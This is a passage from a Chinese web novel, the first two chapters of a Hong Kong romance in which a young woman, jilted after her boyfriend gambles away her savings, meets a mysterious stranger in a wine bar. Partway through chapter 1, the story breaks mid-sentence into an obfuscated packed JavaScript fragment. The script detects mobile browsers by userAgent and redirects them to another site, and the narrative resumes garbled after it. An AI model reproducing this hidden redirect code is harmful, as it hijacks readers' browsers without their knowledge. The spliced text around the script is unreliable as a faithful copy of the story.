《维港暮色》 1. 第 1 章 第一次到港岛,桑酒就被富贵迷了眼。 来往的车、行走的游人与狭小街道旁的橘色路灯交织着闪现,晚霞下的港岛,美得极不真实,就连风都裹挟着一股金钱的甜腻,仿佛电影里落幕时刻。 可惜,桑酒无暇欣赏这摩登美景。 大脑一片空白的她,随着游人停停走走,如同行尸走肉,听不到外界任何声音。 直到肚子咕咕抗议无数次后,终于扛不住,痛得连呼吸都艰难起来,桑酒才想起,她已经一天没吃东西了。 抬眼,便瞧见街对面有一家7-11。 她转身,朝人行道走去。 暮色浮沉,红绿转瞬。 桑酒立在人群中央,周边慢慢亮起星光般的灯火,叮叮车从身前掠过时带起一阵凉风,把凌乱的发丝吹成摇曳海藻。 “烟花秀不是八点吗?现在才六点,还早吧!” 熙攘的十字路口,少女晃着男友手臂,一边让他走慢些,一边撒娇说自己腿快断了。 “我的小祖宗,今天你生日,不得占个好位置拍照?” 桑酒将视线从前方转回,望了一眼身边依偎着的小情侣。 少年抬手勾了勾跨在肩上的白色包包,温柔蹲下身,揉了揉小女友的腿肚子,抬头温柔微笑:“再坚持一会儿,到对面我背你。” “早知道,我就不逛街了……”女孩嘴上嘟囔,眼里却满是娇羞愉悦。 少年起身,摸她发:“乖啦~想想,今晚整个维港的烟花都为你绽放,开不开心?” “开心!”少女欢呼。 桑酒微怔。 下一秒,绿灯骤然亮起,人潮攒动。 心头那一丝动容,猝不及防被快步离去的人群一冲而散。 捧着热乎的咖喱鱼蛋,她囫囵吞了两个,正打算付钱,关机一整天的手机便涌入无数条信息,足足震了半分钟才停歇。 桑酒面无表情付款,又一通电话猛然打进,用了几年的破手机直接宕机,她不耐烦胡乱划拉一下,好死不死,弄成了接听。 是男友——或者此刻,该称之为前男友的李佑泽,焦急问她人在哪。 桑酒望向长街,目光茫然。 她也不知道自己在哪。 心里堵着的那口气,蓦然提到嗓子眼 从早上登机前,收到闺蜜俞三禾电话告知李佑泽在澳城输了她整整三十万,这场生日旅行就彻底被打乱。 “桑桑……”她沉默间隙,电话那头李佑泽痛哭流涕,“我昨天真的赢了很多钱,是我贪心,是我愚蠢,我不该拿这笔钱去赌,但是你相信我,我只是想赢钱给你过生日……” 桑酒尽力平复自己的心绪,扯出一丝冷笑,语气平静得可怕:“谢谢你啊,送我这么大一份礼。” 三十万换彻底分手。 好像也没那么亏。 就当是还他这些年的陪伴。 其实在一起这两年,他们相处还算融洽。 起码符合桑酒一开始的预想——两人是发小,从有记忆起就认识彼此,知根知底。 更重要的是,他救过她,可以护她。 在身边这个三观炸裂五官畸形的圈子,男人没几个好东西,所谓的朋友无非是一些酒局上的狐朋狗友,他们不是游走于灯红酒绿的夜总会,就是在棋牌赌场醉生梦死,每日不思进取各种摆龙门阵,想着不劳而获跻身上流社会,对比下来,李佑泽竟算是个特例,至少他帅气不花心,豪爽讲义气,对她也几乎是言听计从。 作为女朋友,桑酒从不管他的自由。 除了一件事——赌。 她可以容忍他和他那些狐朋狗友臭味相投、夸夸其谈亦或是无所事事,唯独无法容忍他去赌。 第一次被发现,李佑泽也不是没有跟她诚心诚意保证过,就差自剁脚指头表决心了,可男人的话骗人的鬼,她的原谅换来的不过是侥幸和更加肆无忌惮。 桑酒不是没有预感过,只是没想到这一天会来得这么快。 在她二十岁生日这天,他打着来旅游的名头,一夜之间就输了她三十万——那是酒馆装修和备货的钱。 俞三禾早上打电话让她去澳城捞人,然而在排队改签的那一刻,桑酒迟疑了。 又或许是,清醒了。 她受够了无休止去劝一个愚蠢的男人回头,也不想在这样的日子,跟他歇斯底里。 犹记得十二岁生日那天,讨债的人把家里砸了个稀巴烂,她带着妹妹躲在漆黑的阁楼里,两只手攥着一把水果刀,不敢出声,只听到楼下母亲哭喊的声音。 从那以后,桑酒不再喜欢过生日。 直到还清所有债。 她自认为可以开启新的人生,却没想过,再一次被最亲近的人将她拉入无底深渊。 说不失望不伤心是假的,但也仅此而已,此刻桑酒内心几乎毫无波澜,麻木地仿佛早已看清结局。 她从小就知道,人一旦沾赌,便是永无止境。 对赌徒而言,输了不甘心,赢了不满足。 谁也别想改变他们。 在飞机上的这三个小时,桑酒甚至冷静到只想了两个问题。 钱要怎么还? 酒馆还开不开? 钱是她辛苦筹来的。 酒馆万事俱备,只等装修师傅进场。 下了飞机,桑酒不知道自己是鼓起多大的勇气,给房东打电话退门面,给供货商打电话退酒,给装修公司打电话取消进度。 “阿姨,不好意思,我男朋友被人撞了,我得拿钱给他救命,门面租不了了,实在抱歉,您看那个押金……好,谢谢您,以后有需要,我再联系您。” “汪老板,我男朋友出车祸了……对了,您看我跟您订的那批货,可以退吗?定金我不要了,赔给您……” “喂,师傅,材料您那边进货了吗?不是催您……是这样的,我男朋友成植物人了……” 电话那头的抱怨和各种违约金,如同电钻一样叮咬着桑酒麻木的心,却丝毫没有痛感。 当厚着脸皮解决完问题,她切断所有联系,像是被抽去了最后的灵气,只剩下一副躯壳,行走在这满心期待的城市之间。 车水马龙的街头,再无一丝欢喜。 她也听不到李佑泽的痛哭流涕。 从前,她觉得不管怎样,两人都能凑合走下去的,哪怕是过平凡的人生。 而此刻冷静下来,才发现,三观不同,格局不同,也就不必苟同。 身后,悠扬复古的叮叮车穿梭街巷,仿佛也在提醒她——人生已到站,该下车了。 “桑桑,钱我会还你,告诉我你在哪好不好?”李佑泽央求,“别做傻事。” “你放心,不至于。” 就凭他,还不够格让她做傻事,她已经不是几年前懵懂无知的小女孩了。 “李佑泽,我们到此为止吧。” 桑酒果断挂了电话,拉黑,然后继续前行。 弥敦道的长街那样繁华,如走马观花般,烟火从容。 她突然也想去维多利亚港,想去看那场期待已久的盛大烟花。 - 刚走没多久,还没瞧见游人心中圣地——那高楼林立下蔚蓝的海港码头,倒是通红的鼻子嗅到了一丝熟悉的气息,仿佛瞬间误入葡萄藤架下,成熟的果子瞬间炸开。 桑酒脚步一顿,抬头望去。 ?时光酒窖 & Time Cellar。 很有感觉的名字,红色复古的门头、木质门廊以及那酒红色微光,皆是熟悉的装修风格。 桑酒想起自己刚刚被扼杀在摇篮中的酒馆,不免感慨万千。 此时此刻,此情此景,多少要喝两杯应应景的。 只犹豫了片刻,她便抬步走去。 微风拂面,酒香渐浓。 木廊下的红酒瓶风铃,摇曳轻晃,如钟鼓空灵。 桑酒盯着看了几秒——就在前些日子,她还在红薯上收藏了好几个风铃教程。 推开雨帘,那股馥郁酒香更加浓烈,飘入鼻翼。 入眼,竟是一整面令人叹为观止的红酒墙,每一瓶红酒都像是被精心雕琢的艺术品,浑身透亮,光泽熠熠,在灯影交错中错落有致排列着,从优雅的勃艮第到经典的波尔多,再到醇厚的意大利阿马雷托,应有尽有,犹如一场盛大的红酒博览会,红酒墙前方,则是一座环形中央吧台,设计感十足。 此时不到七点,大概是被维港烟花吸引去了,酒馆并没有什么人,三三两两坐着。 桑酒一直很喜欢Winebar这种安宁静谧的氛围,不似普通酒吧那般嘈杂,光是闻着空气中葡萄酒的香甜,笼罩在心头一整天的阴霾,也跟着瞬间烟消云散。 一杯酒,解千愁。 对酒蒙子的她来说,此时此刻,没有什么比喝酒更惬意的了。 服务员拿清单过来时,桑酒没有多想,上来就点了一瓶雪莉酒,她在吧台最里边一个座位坐下,没瞧见旁边黑影如松,只当是沉稳的屏风板。 许是心里本就闷着一股气,酒甫一打开,她干脆利落倒酒,仰头一饮而尽,像整啤酒那样豪爽,但经过白兰地的加强,雪莉酒精度数太高,她直接被呛得干咳,眼尾泛红,辛辣从舌尖一路烧到喉间,简直要命。 真好,她就是想用这极端的痛感,遏制内心蠢蠢欲动的难过。 有什么可难过的? 花三十万认清一个渣男,不也挺好的么? 然而,当窒息感涌入心头时,她还是觉得心疼得难以呼吸。 与此同时,扣在吧台上的手机突然震动起来。 桑酒看了一眼。 喝了酒,她脾气就压不住了。 “桑桑……”电话那头,风声呼啸,掺杂着俞三禾焦急的声音,“佑子他发酒疯!非要找车撞死!” “那就让他去死啊!”桑酒无所谓回了一句。 “桑桑,他这次真的彻底死心了,你就帮忙劝劝他好不好?” “他死不死关我屁事啊,我又不是他祖宗,我们已经分手了。” 桑酒从来没有这么冷漠过,俞三禾听了,直接哭了出来。 “求求你了,桑桑,你就原谅他这一次吧,这里好多车,鸽子和深哥他们也拉不住,佑子要真出事了,我们怎么跟他爸妈交代啊……” 桑酒嘲讽一笑。 “那正好,还能赶上新年我给他烧两沓纸,顺便告诉他,记得找辆贵点的车,就当最后做好事,给他家两老留点养老钱。” “桑桑,你别这样……除了你,真的没有人能拉他一把了……” 俞三禾的哭声,将桑酒思绪拉回两年前——李佑泽刚追求她的时候。 有人想欺负她,是李佑泽一不做二不休,直接抡了酒瓶往人头上砸,她给他包扎伤口时,甚至不敢对上他真挚的目光。 “李佑泽,我爸死之前,给我留了三十万债。” 少年穿着黑色夹克外套,疼得龇牙咧嘴,没心没肺地笑:“没关系,桑桑,三十万而已,我们一起还。” 桑酒不知道,那天究竟是后怕至极的茫然,还是感动让她迷了眼,她只知道自己在无底深渊下坠了多年,终于有人拉了她一把,得以窥见这世间一缕阳光。 她同意了李佑泽的表白。 不可否认,这些年因为他的保护,她能清白做人,干净赚钱。 或许命运就是一个轮回,他曾拉她走出深渊,她就活该把这段孽缘还清。 “桑桑?”电话那头,手机落到李佑泽手里,他低声哀求,“我知道错了,桑桑,我不求你原谅,只希望你不要做傻事,好不好……” 桑酒瞬间忍不住哭了出来,她捂着嘴浑身颤抖,声音压低控诉。 “李佑泽,你可以骗我人,骗我感情,你为什么要骗我钱……” 这笔钱不单单有她的血汗钱,还有妈妈和舅妈补贴的十万。 桑酒原本是想给她们买大房子住,给她们过更好的生活,可她们知道她想开酒馆后,不但不肯买房,还硬生生给她凑钱创业。 “对不起……桑桑,你别哭……” “如果没胆量死,你他妈就给老娘滚回来还钱!”桑酒说完,不想再听他的声音,直接挂断了电话。 她极力克制自己崩溃的情绪,不让自己再哭出声,只是摊手捂住脸的一瞬,泪水汹涌而出,浸湿了指缝。 已经记不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742561|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多久没这样哭过了,上一次落泪,还是舅舅去世,她只觉得天都塌了。 而这一刻,桑酒也看不到未来在何处。 好像这破破烂烂的人生,从出生就决定了,怎么缝补都无济于事。 从冷血的父亲到无能的男友,一个比一个嗜赌,他们不是托起她的大山,而是压倒她的泥石流。 有时候,她也累得想停下,想躺下…… 可舅舅临终的话始终在耳边回响。 “泱泱,这个世界,没了什么都没关系,它依旧会向前走,你也只需要向前走。” 向前走…… 桑酒缓缓抬起头,泪水一滴滴落进酒杯。 寂静如常的酒馆,灯光昏黄,没人瞧见她脆弱的样子,所有人都沉浸在各自的世界中。 是啊,已经发生了的事情又有什么办法呢。 只要命还在,继续往前走就是了。 想通了,她也不再克制情绪爆发,任凭泪水流下。 直到有人轻轻扣响台面。 不疾不徐,不紧不慢。 桑酒微微偏头,朦胧余光瞥了过去。 模糊视线里,一张纯白纸巾,逆着柔和的橘光,染上一丝温柔,递到了她面前。 视线再向上两分,两根手指捏着纸巾一角,干净修长,骨节分明。 是个男人。 应该说,是个英俊帅气的年轻男人。 桑酒愣了两秒,接过纸巾。 说了句“谢谢”。 声音沙哑,分不清梦境与现实。 桑酒没有立马去擦眼底的泪水。 此刻的自己,大概哭得已经完全没法见人了,她能感觉到脸上粉底沟壑纵横,堪比鬼片里眼底流着血痕的女鬼。 好在没多久,那人起身,带着一阵清风离去。 桑酒下意识抬起眼角望去,只捕捉到一道黑色侧影,身姿颀长,气质清贵。 原来,不是屏风。 她旁边坐着的,是一个人,一个男人。 - 发怔的间隙,桑酒又闷闷喝了两杯酒,随意揾了下泪痕,枕着手臂,打算在此醉梦一场。 也不知道睡了多久,大抵十分钟不到。 清冷的夜风吹进门,料峭寒瑟,桑酒在梦里打了个寒战。 门口雨帘被掀起,一连串进了好几人,阵势跋扈,叼着烟四处打量,嬉笑怒骂间,夹杂着几句粤语。 桑酒被吵得皱眉,掀开眼皮望去。 几个衰仔就站在几步之外,对上她的视线时,毫不掩饰打量着她。 桑酒太明白这种不怀好意的目光了。 果不其然,下一刻,其中一人端了一杯酒向她走来,一头长短发染得黄黄绿绿,操着一口油腻的粤语,口气比他耳上的钉子还要炸街。 “小妹妹,一个人出来玩?” 桑酒乍一看,还以为在演什么古惑仔电影。 这又是哪边衰仔出来遛街? 耳钉哥也是个自恋狂,弯身贴近桑酒,自带一股自来熟。 “不如同哥哥喝一杯,聊聊天啦?” · 大概是太久没有听到这般做作的气泡音,桑酒浑身泛起鸡皮疙瘩不说,还被男人身上刺鼻的劣质香水味熏得想呕吐。 她身子往后一歪,声音有些冷:“别靠近我。” 正攒着一肚子火还没发泄完,一点就着的那种。 桑酒不确定自己什么时候会发飙, 耳钉哥愣住,显然没料到内地的小妹妹脾气这么暴躁,而一旁兄弟们又都偷笑看着,他实在下不来台,只能继续散发他的“魅力”,直接拉了一张椅子挨着坐下,继续搭讪。 手也悄悄往桑酒肩头伸去。 “不高兴?那更得喝一杯先啦!俗语说,一杯解千……” “哗——” 一杯酒干脆利落,飞出一片瀑布,伴随着女孩子的厉声叱喝。 “我说了别靠近我!你他妈耳朵聋啊?” 耳钉哥声音戛然而止,妥妥实实喝了一整杯! 刚还炸飞天的黄毛,瞬间萎了一般恹恹垂下,红色液体顺着整张脸三百六十度无死角一滴滴滑落,连带着花里胡哨的衬衫也一片狼藉。 桑酒则一瞬间回过神,呆呆看着手里空空如也的酒杯,仿佛刚刚泼酒的人不是她。 老天爷,她真憋了一天的火气! 现在李佑泽如果站在她面前,她会直接用酒杯帮他重组大小脑,现在不过是有人替他往枪口撞。 “操——”耳钉哥抹了把脸上的酒渍,再撸起湿发,一把将手里的高脚杯砸碎在吧台上。 哐啷一声巨响,酒杯碎裂声割破了酒吧的喧闹。 而他身后那些飞仔闻声,也往这边跑来。 桑酒握紧了酒杯,指尖微微发白,却依旧挺直了腰背。 酒馆服务员也不知道去哪儿了。 真要动起手来,她未必打得过。 “想打架啊?”耳钉哥恶狠狠说。 冷不丁,一只修长的手臂从桑酒身后伸了过来,将她半揽在怀里,削瘦背脊紧贴着他滚烫胸膛,紧接着,耳畔响起男人淡淡的声音,每一个字都仿佛从她耳边吻过。 “宝贝,该回家了。” 一刹那,仿佛有一股冷冽的味道扑鼻而来,酒馆氛围下这种木质香调,十分好闻,如同寒冬腊月里,从松树下的积雪刨出一瓶上等红酒,拉开软木塞的一刹那,嘭的一声,浓郁混着清冽雪松,干净清爽,漱冰濯雪。 桑酒惊愕回头。 是刚刚给她递纸巾的男人。 只是这一刻,视线掠过男人棱角分明的下颚,最终对上了一双温柔的眼。 黑色连帽冲锋衣拉到下颚,中分碎盖的发遮住些许眉眼,只露出半张脸,昏暗的灯光下尤为神秘矜贵,尤其是那一双眼眸,深邃如潭,笑起来时,星光点点。 桑酒屏息一瞬,嗅着他身上清冽的雪松气息,没注意到自己一点都不抗拒他的靠近。 而眼看着横插一脚进来的男人,耳钉哥气急败坏:“你他……?” 脏话还没说出口,男人冷冷抬眸,语气冰冷送他一个字。 “滚。” 2. 第 2 章 “喂!我劝你不要多管闲事!” 耳钉哥口气不小,抬手就要去推人。 不料手还没碰到人,就突然哇哇大叫起来:“哎哟哟——放——放手!” 桑酒只觉又一阵风穿过耳旁,下意识闭眼,再睁眼时,便见橘色灯光下一只冷白肤色的手臂,从她肩头越过,牢牢擒住对方偷袭的手腕,反手一拧,手背青筋凸起,线条分明,很有力量感。 大概是使了些劲,耳钉哥完全动弹不得,另一手上来也丝毫扒拉不开禁锢,只能发出阵阵惨叫声。 他那些哥们儿刚赶过来,顿时停住脚步,生怕再上前,兄弟的手就要折在这儿,但又仗着人多欺少,没有退让。 氛围剑拔弩张起来。 清凉丝滑的冲锋衣面料划过脸颊,桑酒是丝毫不敢动,她屏息大气不敢出,头顶掠过的温热气息却平稳至极,悬在空中的手臂,更是纹丝不动如青山,任凭耳钉哥挣扎求饶。 直至服务员带着几个保安闻声而来,那群衰仔顾不得兄弟,全部溜之大吉。 耳钉哥连哭带求,就差磕头认错了:“我错了大哥……” 男人似乎也懒得与他多费口舌,松了手,一脸嫌弃地收回,随意抽了张湿纸巾擦拭手指,丢进垃圾桶。 “滚,别再让我碰到你。” 他语气冷得很,明明是少年的身形,却不失上位者的威严。 耳钉哥心甘情愿磕了个头,连滚带爬跑了。 门帘被掀开又落下,馆内恢复了之前的安宁,服务员跑过来收拾残局,赔礼道歉,又提出是否要帮忙报警,桑酒脑瓜子嗡嗡的,一片空白,听不到任何人的声音。 直到身后的人向她伸出手:“给我。” “什么?”桑酒感觉到牙齿在打颤。 “再用力,酒杯就要被你捏碎了。” 大概是知道她不熟悉粤语,男人换了中文,字正腔圆,不一样的温柔低沉。 桑酒低头看向自己交握的双手,十指泛白,紧紧握着酒杯,玻璃轻薄如纸,她再用些力度,就会破碎,届时碎片会扎进手心,受伤的还是她自己。 她下意识松开,却依旧止不住颤抖。 “怕了?”男人接过酒杯,反手扣在吧台上,掀眸看了她一眼,问,“要报警吗?” “不……不用。” 直到此刻,桑酒才完完全全回过神,对着候在一旁的服务员摇头。 真要得罪了这帮衰仔,她孤身一人在这陌生城市里,指不定要发生什么事。 而且现在,她只想快点逃离这个讨厌的城市。 “谢谢。” 她向帮自己解围的男人道了声谢,抬眸却只看到他低垂的眉眼,淡漠疏离,仿佛刚才不过是顺手而为。 “举手之劳。”男人果然语气轻描淡写,随即又像想起什么,若有所思看了她一眼,“刚才,冒犯了。” 他在为刚才唐突的拥抱而道歉。 “没关系。”她抿了下唇,不知为何,鼻子忽然一酸。 男人淡然点头,没再说什么,下意识看向手腕的机械表,眉尾微挑,轻叹一口气,随即双手插兜背靠椅凳,双眸低垂。 冲锋衣的帽檐垂落,几乎掩盖住他所有面容,只满身贵气疏离让人不敢惊扰。 桑酒猜想,他大概是在等人。 毕竟这样热闹的日子,应该没有人会像她这样孤独,喝酒都是一个人。 说起酒,桑酒又后悔了。 那么贵,她咬牙点的,这还没喝完呢,太便宜那黄毛了! 手瘾是过了,可她酒瘾还没过。 好在没一会儿,服务员又过来了,说是为表歉意,不仅给她送了一些吃食,还额外补偿一瓶酒。 闻言,桑酒不禁眼眸一亮,一天的坏心情总算有了一丝安慰。 “谢谢!” 然而一旁闭目养神的男人却缓缓睁开眸,瞥了她一眼,淡声道:“雪莉酒不适合你。” 桑酒错愕抬头,有些茫然,不确定问道:“什么?” 和刚才泼酒后,一脸无辜的样子一模一样。 孟苏白微微扬唇,忽然俯身过去。 他身材高大,即便坐下也比桑酒高了一整个头,颇有些居高临下的威严。 气息骤然逼近。 桑酒再次大气不敢喘。 “一个人出来玩,别乱喝酒,尤其是漂亮的乖女。” 大概是为了逗她,男人又说起了粤语,慵懒低沉有磁性。 桑酒听得更迷糊。 倒不是听不懂,而是他嗓音太过好听——浓郁,清醇,却不过分甜腻。就像雷司令酒中那一抹微妙的矿物质气息,年轻鲜活,却又沉淀着岁月的优雅,与刚才耳钉哥靠近时的油腻感,完全不一样。 靠得近时,桑酒蓦然对上他黑色帽檐下那琥珀色眸,疏离又温柔,分明是一双含情眼,仿佛看谁都深情。 桑酒有片刻不清醒,陷溺其中不能自拔。 直到男人身子后退,与她拉开距离,抬起下巴,指了指两人面前那堵红酒墙的某处。 “真想喝,可以尝两口蓝布鲁斯科。” 说罢,孟苏白端起自己桌前的玻璃水杯,轻轻抿了一口,绅士又散漫的姿态,不知道的还以为他也在品红酒。 但桑酒知道,那不过是一杯白开水。 服务员小姐姐过来两次续水,脸上的表情既惊讶又无奈,还带着一丝丝不可置信。 桑酒明白他的用意,雪莉酒口感烈度数高容易醉,蓝布鲁斯科则全然不同,口感清甜甜酒精度低,且容易让人快乐,的确更适合此时此刻,孤身一人的她。 她猜想,眼前的男人大概也是懂酒之人。 服务员换了蓝布鲁斯科上来,作为谢意,桑酒又给身旁的男人也分享了一杯,对方却摇头,谢绝了她的好意。 桑酒也没再多说。 萍水相逢的两人,本就不该有多余的交集。 - 风波平息之后,又是漫长的寂静。 桑酒继续喝着闷酒,只是这次不再霍霍乱炫,而是一小口一小口啜着抿着,看起来像一只自顾舔舐伤口的小猫。 然而,这一刻泄了火的桑酒,心情瞬间通透了许多,只是偶尔环顾四周烟火时,会有些遗憾。 遗憾此生再无法拥有这样一家梦寐以求的酒馆。 她垂头丧气趴在桌上,醉意微醺,真想就此睡去。 也许醒来,会发现今日一切,都只是大梦一场。 只可惜,她酒量太好,很难体会一醉方休的滋味。 所以有时候,酒量太好,也未必是件好事。 朦胧中,又收到俞三禾的语音信息,她连抬起脑袋的力气都没有,食指直接点了外音播放。 “亲爱的,生日快乐,这么重要的事情我当然不会忘,只是没脸亲自跟你说。” “佑子我们已经抬回酒店了,你不用管他,既然都到港城了,就痛痛快快玩几天吧,不要想那些烦心事了。” 直至屏幕暗灭,桑酒都没有再动,只是眼眶突然发酸。 “生日快乐。” 她也许是真醉了,傻傻举起酒杯,对着昏暗空气碰了一下,像是完成某种仪式,心底却没来由的有些空。 从前忙于工作,她从没有度过假,这两个月为了酒馆更是忙得脚不沾地,如今钱没了,酒馆也没了,她的人生像是突然被按下暂停键,没了规划,没了方向。 这种突然被炒鱿鱼还没收一切的感觉,其实并不好受。 因为她连玩的资格都没有了。 两瓶红酒下肚,即便是度数不高的蓝布鲁斯科,桑酒也有点头昏了。 眼看时间过了七点半,她脑子懵懵起身,准备去洗手间补个妆。 三禾说的对。 无论如何,今天也该是个美丽的日子。 然而当看到镜子里的“女鬼”面容时,桑酒还是被吓了一跳。 才十二小时,妆容就花了,甚至还有两条泪痕若隐若现,脸颊因为喝酒的原因,绯红滚烫,眼线和睫毛膏更是把眼睛染成了熊猫眼。 桑酒实在难以想象,那人是怀着怎样的心情,对这样一张狼狈不堪的脸夸漂亮的。 当然,更重要的是,一定跟俞三禾说一声,避雷这个牌子的粉底液。 死贵又不防水!!! 桑酒干脆卸了妆,洗了个冷水脸,整个人清醒许多,往外走路过前台时,两个女孩正悄咪咪指着她刚坐的中央吧台方向,交头接耳热聊着什么。 “不是吧!这么有型的靓仔哦!会吃霸王餐?” “我盯了四小时,不会错,连手机都没拿出来过!” “……可我记得,他一来就点了瓶最贵的酒呀?” “嗯,然后续了一下午的苏打水……” “……” “我敢打赌,他身上一分钱都没有!” “斗零都冇个?” “斗零都冇个。” 两个小姑娘打起了赌,桑酒却朝刚才坐的位置看去。 昏暗角落,男人被笼罩在黑色冲锋衣里,整个人冷淡到与酒馆昏暗夜色融为一体,以至于她刚以为是屏风来着。 再细看,才能看清那冲锋衣裹住了大半张脸,略微低着头,没有人能看清他神情,只几束微弱的光线从天花板上洒下,光影斑驳,神秘疏冷。 仔细想来,这大半个小时里,他真的安静到毫无存在感,只偶尔低头看一眼手表,桑酒甚至能从他略微凌乱的头发丝看出,这人耐心估计要被消磨光了,但又不能真的走单。 估计和她一样,也被抛弃,孑然买醉。 哎,所以说,长得帅有什么用? 还不是和她一样被鸽。 下一秒,桑酒又被自己这个想法惊讶到,拍了拍脸颊,嗤笑一声。 也不知为何,那人突然抬眸望了过来,目光与她短暂交汇。 毫无征兆。 桑酒心莫名怦怦跳起来,仿佛在背后蛐蛐时,被正主抓个正着。 而这个人,还是刚对她路见不平拔刀相助的恩人。 桑酒心虚极了,抬脚走向前台,慌乱开口:“你好,结账。” 她从前有一个港城客户,跟着学了几句粤语,不知是有一两年没开口,竟又生疏了,说得舌头打结。 好在两个女孩热情接待了她,笑着问她是否要去维港看烟花,还说得了老板吩咐,特地送了两份手办礼——酒心巧克力。 “心情不好吃点巧克力,会开心的。”她们安慰她。 桑酒不知道这算不算生日礼物,但确实是意外惊喜。 她喜欢甜食,尤爱巧克力。 临走前,桑酒把另一份留在前台,抬步往门口走去,余光似乎瞥到一抹高大身影靠近,只不过她没来得及去看,被人拉了拉衣角。 “姐姐,买束花吗?” 桑酒低眸,原来是一个卖花的小姑娘,穿着红色圣诞公主裙,七八岁及腰高,一双水汪汪的大眼睛,满怀希冀盯着她。 “很新鲜,刚刚摘的。”小姑娘完全不怯场,拿着一朵玫瑰花,踮起脚尖凑到她眼前,“姐姐你看,跟你身上的玫瑰一样漂亮。” 港岛的冬日,暖如春色,所以这次过来,桑酒外面只套了件宽松毛衣,慵懒随性,胸前勾着几朵酒渍玫瑰,和小姑娘手上的一样千娇百媚。 对上那双稚嫩童真的视线,桑酒不由想起了五年前,刚入社会的自己,也是懵懂胆大。 她心中一动,目光再落向那束漂亮的玫瑰花上,几乎要开口应下,可话到嘴边又咽了回去,手悄悄伸进口袋,不禁气笑。 到最后,她反成了那个斗零都冇个的人。 “对不起啊,姐姐真的没钱了。”桑酒弯腰,一脸歉意摸了摸小姑娘毛茸茸的脑袋。 临走前又想起什么,把那盒酒心巧克力送给了小女孩。 “圣诞快乐。” 比起一个二十岁的成年人,显然眼前小小年纪就要出来卖花的小姑娘,更需要这盒巧克力。 “谢谢姐姐~”女孩抱着巧克力,眉眼弯弯奶声对她道谢。 桑酒起身,掀开雨帘。 夜风涌入脖颈时,她不禁打了个颤,隐约听到雨帘后,男人不高不低的声音。 “结账。” 桑酒脚步微顿,而后走出酒馆,融入弥敦道灯红酒绿的夜色里。 - 七点五十分。 这个点,大家都赶着时间去维港占位看烟花秀,弥敦道上的游人竟不算太多,她走的偏僻小路,好像流浪者,唯有清风相伴。 谁让港岛的士那么贵,口袋零碎的港币刚才也全当小费给了出去,手机里的余额更是少得可怜,只够一张机票钱,好在她查了地图,发现步行也不过十来分钟,大概能赶上八点钟的烟花秀。 桑酒低头踩着广告牌落下的五颜六色光影,偶尔抬头望一眼天边夜色——读书时偷偷看过一些杂志,里面描绘的港岛那样唯美又充满烟火气息,旺角街头车水马龙的繁华熙攘,新界沙田赛马场上的激情呐喊,太平山顶俯瞰全城的静谧风光,还有维多利亚港夜色中的浪漫星光,每一幅画面都令人心驰神往。 而今满怀希冀飞来,却只觉孤独冷漠。 桑酒习惯性地从包里摸出耳机塞上,想找回很多年前想象中的那种感觉,弥敦道从不熄灭的灯火阑珊,耳机里的歌声深情又无奈—— “街边太多人与车,繁华闹市人醉夜……” 果然,这是一个令人悲伤的城市。 等终于看到被尖沙咀高楼割裂出来的海口港岸时,离八点堪堪只差几秒钟。 “三!” 维港人山人海,摩肩接踵,众人已随着夜空中明亮的数字倒计时。 “二!” 桑酒试了试,根本挤不过去丁点,无奈只能退到人群之外,隔着大道,伸长了脖子仰头望去。 “一!” 下一秒,漫天火树银花炸开,撕开黑夜,亮如白昼。 耀眼的光芒清晰照亮着霓虹下每一张喜悦的脸,还有余光可及不远处,那道修长的黑色侧影。 和她同样孤独的气质。 却又不完全一样,像茫茫宇宙两颗被遗落的星球,各自流浪,毫不相关。 男人双手插兜懒懒倚着一面墙,右腿稍稍曲起,黑色冲锋衣在焰火下微微反光,帽檐遮住了大半张脸,只能隐约看出山棱起伏的侧脸,但桑酒竟只用了一秒,就将他认了出来。 她甚至不知道,他什么时候站在她身后的。 在酒馆,他好像也一直静坐在她身旁。 就像她的影子一般。 桑酒胡思乱想了两秒,男人却好像有所感应,也垂眸望了过来。 对视的一瞬间,时间静止。 直至再一簇烟花在夜空中炸裂,远处渡轮的汽笛声,游人的欢呼雀跃,白昼黑夜交替,光与暗相融。 很多年以后,当桑酒再度站在维港,遥望头顶烟花时,已经完全想不起二十岁那年,维港的烟花是否也这样绚丽灿烂,但她始终记得,孟苏白那 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她低头往下看去,这不看不要紧,一看吓一跳,她两条笔直的长腿垂在海面上,冰冷的夜风吹僵了脚丫,掉进海里估计能砸得震天响。 桑酒眯起眸。 “你怕我想不开?”她问。 男人没有说话,仿佛一开口就会刺激到她。 桑酒朝他自嘲一笑,晃了晃两条腿:“我看起来有那么惨吗?他们一个两个都觉得我会做傻事,连你一个陌生人也这样觉得?” “没有,”他目光落在她颤抖的双腿上,“只是想告诉你,人生有很多不可预料的意外。” “我是恐高、冷的……”桑酒解释,这海边的风,真的是剜心窝子的冷,冷得打颤。 而且别看她一脸镇定,可实则根本不敢低头看脚下万丈深渊。 男人与她目光相视了两秒,随即缓缓转过头。 桑酒似乎看到他唇角勾起淡淡的笑,不禁也莞尔一笑。 心中莫名觉得暖。 之后,两人心照不宣,沉默地吹着海风。 直到男人从风衣口袋里掏出一盒巧克力,递到她跟前,打破了这份深夜寂静。 桑酒有些错愕。 这是刚才酒馆送给她的,她给他留了一盒。 “谢谢你帮我买单,”男人靠过来,将巧克力放到她腿上,说,“不过,我不喜甜食。” 潮湿的咸腥气息,被他身上的清冽雪松替代。 肆意的海风,也因他的靠近而变得温柔。 她那盒送人了,没尝到味道,桑酒也就不客气,解了绑在礼盒上的红色蝴蝶结绸带。 礼盒看着挺高档的,里面整整齐齐躺着六根巧克力,像雪茄一样长长的,包裹的锡纸质感特别好,颜色从浅到深,光是拆开就很解压。 她一一尝了个遍。 